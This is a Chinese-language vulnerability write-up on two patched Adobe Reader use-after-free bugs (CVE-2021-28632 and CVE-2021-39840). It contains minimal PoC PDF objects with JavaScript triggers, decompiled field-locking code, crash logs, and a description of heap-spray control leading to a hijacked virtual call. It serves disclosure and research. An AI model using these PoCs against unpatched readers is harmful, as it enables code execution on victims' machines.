前言
这篇博文描述了我提交给 ZDI 的两个 Adobe Reader 释放后使用漏洞:一个来自 2021 年 6 月的补丁 ( CVE-2021-28632 ),一个来自 2021 年 9 月的补丁 ( CVE-2021-39840 )。关于这两个bug的一个有趣方面是它们是相关的——第一个错误是通过模糊测试发现的,第二个错误是通过逆向工程发现的,它绕过第一个错误的补丁。
CVE-2021-28632:了解字段锁
一天清晨,在对fuzz结果进行例行崩溃分析时,一个 Adobe Reader 崩溃引起了我的注意:
** Adobe Reader DC 2021.001.20135
eax=549b6fe8 ebx=00000000 ecx=04cfb49c edx=40004000 esi=549b6fe8 edi=3344afa8
eip=67147215 esp=04cfb504 ebp=04cfb544 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
AcroForm!DllUnregisterServer+0xd0b45:
67147215 8b4f14 mov ecx,dword ptr [edi+14h] ds:002b:3344afbc=????????
在经过几个小时的样本最小化和清理fuzzer生成的 PDF 文件后,最终简化的PoC 如下所示(PDF部分仅限重要的内容):
8 0 obj
<<
/FT /Tx
/Kids [9 0 R] % [A]
/T (fieldParent)
>>
endobj
9 0 obj
<<
/FT /Tx
/T (fieldChild)
/Type /Annot % [B]
/Subtype /Widget
/Rect [0 0 1 1]
>>
endobj
JavaScript 部分:
function callback() {
removeField("fieldChild"); // [1]
}
try {
fieldParent = getField("fieldParent");
fieldParent.setAction("Format", "callback()"); // [2]
fieldParent.textSize = 1; // [3]
}catch(e) {
app.alert("exception: " + e)
}
崩溃是涉及到CPDField对象的一个UAF。CPDField对象是AcroForm.api的内部C++对象,在交互式表单中代表文本字段、按钮字段等。
在上面的PDF部分中,创建了两个CPDField对象来代表两个文本字段,名为fieldParent和fieldChild。这里需要注意的是,创建的对象是一个CTextField类型,它是CPDField的子类,用于文本字段。为了简化讨论,它们将被称为CPDField对象。
触发该错误的一个重要因素是,fieldChild应该是fieldParent的子类,通过在fieldParent PDF对象字典的/Kids
key中指定它(见上文),正如PDF文件格式规范中所记载的那样。
与该bug有关的另一个重要概念是,为了防止CPDField对象在使用中被释放,使用了一个名为LockFieldProp的内部属性。CPDField对象的内部属性是通过一个C++ map成员变量来存储的。
如果LockFieldProp不为零,意味着CPDField对象被加锁,不能被释放;如果它为零或未被设置,意味着CPDField对象被解锁,可以被释放。下面是PoC中两个CPDField对象在调用字段锁的代码(后面会讨论)之前的可视化表示:fieldParent是解锁状态(LockFieldProp为0),呈绿色,fieldChild也是解锁状态(LockFieldProp未设置),也呈绿色。
在PoC的JavaScript部分,代码设置了一个JavaScript回调,以便当fieldParent的 “Format “事件被触发时,自定义的JavaScript函数callback()会被执行。然后JavaScript代码通过设置fieldParent的textSize属性来触发 “Format “事件。在内部,这将执行AcroForm.api中JavaScript Field对象的textSize属性设置器。
AcroForm.api中textSize属性设置器的第一个动作是针对fieldParent调用以下代码加锁。
// Ghidra decompiled code
// 0x20b96568 in AcroForm.api (Adobe Reader DC 2021.001.20135)
// Except for "CPDField", all names are assumed (not actual)
CFieldLock * __thiscall CFieldLock::lock(CFieldLock *this, CPDField *field)
{
uint16_t locked;
this->field = field;
this->locked = 0;
if (field != (CPDField *)0x0) {
locked = LockFieldPropGet(field);
if (locked == 0) {
LockFieldPropSet(this->field,1); // [AA]
this->locked = 1;
}
}
return this;
}
上述代码通过将其LockFieldProp属性设置为1[AA],锁定了传递给它的CPDField对象。
执行字段加锁代码后,fieldParent(加锁:红色)和fieldChild(解锁:绿色)的锁状态如下。
注意在Adobe Reader的后期版本中,LockFieldProp的值是一个指向计数器的指针,而不是被设置为1或0的值。
接下来,AcroForm.api中的textSize属性设置器递归调用下面的CPDField方法,在这里发生了UAF。
// Ghidra decompiled code
// 0x20b971a0 in AcroForm.api (Adobe Reader DC 2021.001.20135)
// Except for "CPDField", all names are assumed (not actual)
void __thiscall CPDField::propagateNotification(CPDField *this,undefined4 param1,undefined4 param2)
{
// 1st call: `this` points to fieldParent
// 2nd call: `this` points to fieldChild
// [...]
if ((int)this->widgetEnd - (int)this->widgetStart >> 2 == 0){ // [aa]
// 1st call: `this` points to fieldParent
CPDField::getKidsHandle(this,&kidsHandle);
getHandleType = g_AcroRdObjFuncs->PDHandleGetType;
handleLo_ = (uint32_t)kidsHandle;
handleHi_ = kidsHandle._4_4_;
_guard_check_icall(getHandleType);
handleType = (*getHandleType)(CONCAT44(handleHi_,handleLo_));
if (handleType == PDHANDLE_TYPE_ARRAY) {
arrayGetLen = g_AcroRdObjFuncs->PDArrayGetLen;
handleLo__ = (uint32_t)kidsHandle;
handleHi__ = kidsHandle._4_4_;
_guard_check_icall(arrayGetLen);
kidsLen = (*arrayGetLen)(CONCAT44(handleHi__,handleLo__));
// For each of the field's children, perform a recursive call
for (kidsIndex = 0; kidsIndex < kidsLen; kidsIndex = kidsIndex + 1) { // [bb]
arrayGetItemAtIndex = g_AcroRdObjFuncs->PDArrayGetItemAtIndex;
handleLo___ = (uint32_t)kidsHandle;
handleHi___ = kidsHandle._4_4_;
kidsIndex_ = kidsIndex;
_guard_check_icall(arrayGetItemAtIndex);
kidHandle = (*arrayGetItemAtIndex)(CONCAT44(handleHi___,handleLo___),kidsIndex_);
field = FieldNameMap::getByHandle(this->fieldNameMap,kidHandle,1);
if (field != (CPDField *)0x0) {
// `field` will point to fieldChild
propagateNotification = field->vftable->propagateNotification;
uVar5 = param1;
uVar6 = param2;
_guard_check_icall(propagateNotification);
// perform recursive call with the `this` pointer pointing to fieldChild
(*propagateNotification)(field,uVar5,uVar6); // [cc]
}
}
}
}
else {
if (this->field_0x24 == 0) {
// 2nd call: `this` points to fieldChild
// Triggers a notification that results in the execution of the
// custom JavaScript callback() function that will free fieldChild
notify = this->vftable->notify;
uVar5 = param1;
_guard_check_icall(notify);
pCVar3 = (CPDField *)(*notify)(this,uVar5); // [dd]
// `this` pointer (fieldChild) is now a dangling pointer
// [...]
}
}
// [...]
}
return;
}
在第一次调用上述方法时,this指针指向加锁的fieldParent CPDField对象。因为它没有相关的部件[aa](上方[aa]处的代码,下同),该方法执行了一个递归调用[cc],this指针指向fieldParent的每个子对象[bb]。
因此,在第二次调用上述方法时,this指针指向fieldChild CPDField对象,由于它有一个相关的widget(见PoC中PDF部分的[B]),一个通知将被触发[dd],导致自定义JavaScriptcallback()
函数被执行。如上图所示,加锁代码只锁定了fieldParent,而fieldChild却没有被加锁。因为fieldChild被解锁了,自定义JavaScriptcallback()
函数中的removeField(“fieldChild”)调用(见PoC中JavaScript部分的[1])成功地释放了fieldChild CPDField对象。这导致递归方法中的this指针在[dd]的调用后成为一个悬挂的指针。随后此悬挂指针被解引用,导致崩溃。
这是第一个漏洞在2021年6月被Adobe修补,并分配给CVE-2021-28632。
CVE-2021-39840: 逆向补丁和绕过锁
我很好奇Adobe是如何修补CVE-2021-28632的,所以在补丁发布后,我决定看一下更新后的AcroForm.api。
在逆向更新后的字段加锁代码时,我注意到添加了一个对加锁传递字段的直接子类的方法的调用:
// Ghidra decompiled code
// 0x20b966d8 in AcroForm.api (Adobe Reader DC 2021.005.20048)
// Except for "CPDField", all names are assumed (not actual)
CFieldLock * __thiscall CFieldLock::lock(CFieldLock *this,CPDField *field)
{
uint16_t locked;
CPDField *field_;
this->field = field;
this->locked = 0;
if ((field != (CPDField *)0x0) && (locked = LockFieldPropGet(field), locked == 0)) {
LockFieldPropSet(this->field,1);
field_ = this->field;
this->locked = 1;
if ((int)field_->widgetEnd - (int)field_->widgetStart >> 2 == 0) {
CPDField::lockUnlockKids(field_,1); // Added call: Lock the field's immediate descendants
}
}
return this;
}
通过添加的代码,fieldParent和fieldChild都将被加锁,第一个错误的PoC将在释放fieldChild时失败。
在评估更新后的代码时,我产生了一个想法:由于加锁代码只额外锁定字段的直系子类,如果该字段有一个非直系子类呢?我迅速将CVE-2021-28632的PoC修改为以下内容。
PDF部分(只有重要部分)。
9 0 obj
<<
/FT /Tx
/Kids [10 0 R]
/T (fieldParent)
>>
endobj
10 0 obj
<<
/FT /Tx
/T (fieldChild)
/Kids [11 0 R]
>>
endobj
11 0 obj % Added a grandchild field
<< % fieldGrandChild is a grandchild of fieldParent
/FT /Tx
/T (fieldGrandChild)
/Type /Annot
/Subtype /Widget
/Rect [0 0 1 1]
>>
endobj
JavaScript部分:
function callback() {
removeField("fieldGrandChild"); // free the fieldGrandChild CPDField object
}
try {
fieldParent = getField("fieldParent");
fieldParent.setAction("Format", "callback()");
fieldParent.textSize = 1;
}catch(e) {
app.alert("exception: " + e)
}
然后在调试器下的Adobe Reader中加载更新后的PoC,点击开始……然后崩溃了!
** Adobe Reader DC 2021.005.20048
(2568.2504): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=4334cfe8 ebx=00000000 ecx=6381b85b edx=00400000 esi=4334cfe8 edi=33ddcfa0
eip=637f73b5 esp=0057b6a4 ebp=0057b6e4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
AcroForm!DllUnregisterServer+0xd0bb5:
637f73b5 8b4f14 mov ecx,dword ptr [edi+14h] ds:002b:33ddcfb4=????????
补丁被绕过了,Adobe Reader在之前讨论的递归方法中的同一位置崩溃了,和上一个UAF一样。
经过进一步分析,我确认下图是调用递归方法时字段锁的状态。请注意,fieldGrandChild是解锁状态,因此,可以被释放。
递归的CPDField方法从指向fieldParent的this指针开始,接着用指向fieldChild的this指针调用自身,然后用指向fieldGrandChild的this指针再次调用自身。由于fieldGrandChild有一个附加的部件,释放fieldGrandChild的JavaScriptcallback()
函数被执行,有效地使this指针成为一个悬挂的指针。
这是第二个漏洞在2021年9月被Adobe修补,并分配给CVE-2021-39840。
控制字段对象
通过JavaScript控制被释放的CPDField对象是很直接的:在通过调用removeField()释放CPDField对象后,JavaScript代码可以用类似大小的数据或一个对象喷射占领堆块,以替换被释放的CPDField对象的内容。
当我向ZDI提交报告时,包括了第二个PoC,它展示了对CPDField对象的完全控制,然后对一个受控的、虚函数表指针进行解引用。
** Adobe Reader DC 2021.005.20048
** Debug log of PoC for CVE-2021-39840
[...]
eax=101000d8 ebx=00000000 ecx=00000000 edx=00000001 esi=0d049dc0 edi=0f08abf8
eip=64c673d9 esp=050fb5cc ebp=050fb614 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
AcroForm!DllUnregisterServer+0xd0bd9:
64c673d9 8b7030 mov esi,dword ptr [eax+30h] ds:002b:10100108=41414141
0:000> u
AcroForm!DllUnregisterServer+0xd0bd9:
64c673d9 8b7030 mov esi,dword ptr [eax+30h]
64c673dc 8bce mov ecx,esi
64c673de ff1544690965 call dword ptr [AcroForm!DllUnregisterServer+0x500144 (65096944)] ; CFG check
64c673e4 8b4dec mov ecx,dword ptr [ebp-14h]
64c673e7 ffd6 call esi ; call using a controlled register (esi)
总结
对象树的实现,特别是那些可以任意控制和销毁对象的应用,很容易出现 “UAF”漏洞。对于开发者来说,必须特别注意对象引用跟踪和对象锁的实现。对于漏洞研究者来说,它们代表了发现有趣的漏洞的机会。